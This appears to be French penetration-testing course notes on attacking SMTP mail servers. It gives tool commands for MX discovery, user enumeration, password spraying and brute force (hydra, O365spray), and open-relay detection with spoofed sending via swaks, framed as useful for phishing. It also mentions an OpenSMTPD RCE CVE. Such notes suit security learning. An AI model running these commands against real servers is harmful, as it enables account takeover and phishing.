Attaquer SMTP - (Simple Mail Transfert Protocole):

Le courrier est envoyé via SMTP et récupéré via POP3 ou IMAP4 - La première étape consiste à découvrir les serveurs de messageries via les enregistrements DNS - MX - Pour les serveurs auto-Hébergés, on peux ensuite enumérer les noms d'utilisateurs valides à l'aide des commandes SMTP comme VRFY username EXPN username ou RCPT TO username - Pour les services cloud comme Office 365 des outils spécialisés sont nécessaires

+ Une fois les noms d'utilisateurs découvert on peux éxécuter diverses attaques de mot de pass comme du password spraying ou du brute-force

• Une attaque spécifique au protocole est l'Open relai ; une mauvaise configuration critique ou le server permet de relayer des emails sans authentification Cela peux être abusser pour des campagnes de phishing en usurpant l'adresse de l'éditeur. Petite note on peux se connecter et interagir avec SMTP avec netcat...

• Découvrir le serveur de messagerie le enregistrement MX

```
Agentpathogene@parrot ~$ host -t MX domain.eu
Agentpathogene@parrot ~$ dig mx domain.com
```

• Enumeration des utilisateurs (auto-Hébergé).

```
Agentpathogene@parrot ~$ smtp-user-enum -M RCPT -U userlist.txt -D domain.com -t ip
```

• Enumerer les users (Cloud-O365 - on valide si un domain l'utilise avant d'en

```
Agentpathogene@parrot ~$ O365spray.py --validate --domain domain.xyz
Agentpathogene@parrot ~$ O365spray.py --enum -U user.txt --domain lol.x
```

• Attaque par mot de pass (auto-Hébergé)

```
Agentpathogene@parrot ~$ hydra -L users.txt -p 'p@ssword' -S ip pop3
```

• Attaque par mot de pass (Cloud-Exemple O365).

```
Agentpathogene@parrot ~$ python3 O365spray.py -U userfound.txt -p 'p@ssw0rd!' --domain domain.xyz
```

• Identification et Exploitation d'un Relais ouvert seulement possible sur les infrastructures auto-Hébergés.

```
Agentpathogene@parrot ~$ nmap -p25 -Pn --script smtp-open-relay target
Agentpathogene@parrot ~$ swaks --from notif@lol.com --to admin@l
.com --server ip target serveur SMTP
```

Une vulnérabilité récente ou plus ou moins est la CVE-2020-7247 permettant la RCE sur plus de 5000 serveurs OPENSMTP accessible publiquement selon shodan

Pour conclure le module rappelons qu'une bonne methodologie est la clé du succès la maîtrise du fonctionnement global mais aussi particulier de la cible est indispensable.